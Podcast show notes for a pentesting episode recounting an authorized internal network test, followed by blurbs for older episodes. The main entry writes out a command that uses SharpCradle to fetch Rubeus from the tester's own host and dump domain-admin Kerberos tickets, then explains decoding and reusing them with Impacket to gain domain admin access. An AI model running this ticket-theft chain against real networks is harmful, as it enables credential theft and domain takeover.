7MS #442: Tales of Internal Network Pentest Pwnage - Part 23

7MS #442: Tales of Internal Network Pentest Pwnage - Part 23

Hey friends, I dare declare this to be my favorite tale of internal pentest pwnage so far. Why? Because the episode features:

  • Great blue team tools alerting our customer to a lot of the stuff we were doing
  • An EDR that we tried to beat up (but it beat us up instead)
  • SharpGPOAbuse which we talked about extensively last week
  • Separation of "everyday" accounts from privileged accounts
  • Multi-factor authentication bypass!
  • Some delicious findings in GPOs thanks to Ryan Hausec's great two part series (1 and 2). If you're not sure if you're vulnerable to MS14-025, check out this great article which discusses the vulnerability and its mitigation.

The final cherry on top was a new attack another pentester taught me. Use a combination of SharpCradle and Rubeus to steal logged in DA creds:

SharpCradle.exe -w https://your.kali.box.ip/Rubeus.exe dump /service:krbtgt /nowrap

This will give you a TGT (base64 encoded) for active logon sessions to the box. So if a DA is logged in, you can snag their TGT and then convert that into a .kirbi file on your Kali box with:

echo "LooooonnnnnggggggTicketStriiiiiiiiiiinnnngggg" | base64 -d > BobTheDomainAdmin.kirb

Convert the .kirbi file to a .ccache file with ticket converter. Then you can use Impacket tools to use/abuse that access to your heart's delight.

We ended up using Impacket to pop a shell on a DC and add a low-priv account to DA. The interesting thing is that the alert the blue team received essentially said "The DC itself added the user to the DA group" - the alert did not have attribution to the user whose ticket we stole! Good tip for future pentests!

Episoder(684)

7MS #76: Lessons Learned from LastPass

7MS #76: Lessons Learned from LastPass

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7MS #75: OFFTOPIC-My Son's Piano Recital

7MS #75: OFFTOPIC-My Son's Piano Recital

I wanted to share (what I think is) an amusing anecdote about my son's first piano recital, which was topped off by a kid playing the song "Lucky." Many LOLs commenced for me.

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7MS #74: How to Become a More Organized Information Security Professional

7MS #74: How to Become a More Organized Information Security Professional

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7MS #73: PCI Pentesting 101 – Part 2 (audio)

7MS #73: PCI Pentesting 101 – Part 2 (audio)

This episode is the exciting continuation of a recent pentest I did, in which I got some serious pwnage, including cracking the domain admin password! 7MS #73: PCI Pentesting 101 – Part 2 (audio)

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7MS #72: PCI Pentesting 101 (audio)

7MS #72: PCI Pentesting 101 (audio)

I’m pumped to talk about an about an awesome, free little tool that made my Internet connection feel like new again. 7MS #72: PCI Pentesting 101 (audio)

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7MS #71: OFFTOPIC-Mad Max (audio)

7MS #71: OFFTOPIC-Mad Max (audio)

We’re going totally off topic today and doing a movie review of Mad Max! 7MS #71: OFFTOPIC-Mad Max (audio)

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7MS #70: Get the Most out of Your DNS! (audio)

7MS #70: Get the Most out of Your DNS! (audio)

I’m pumped to talk about an about an awesome, free little tool that made my Internet connection feel like new again. 7MS #70: Get the Most out of Your DNS! (audio)

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7MS #69: I’m Not Responsible for Your Information Insecurity (audio)

7MS #69: I’m Not Responsible for Your Information Insecurity (audio)

Are you too hard on yourself? Do you think the success of your client’s infosec program lives and dies with you? Listen to this episode. You might feel better. 7MS #69: I’m Not Responsible for Your Information Insecurity (audio)

16 Jun 20158min

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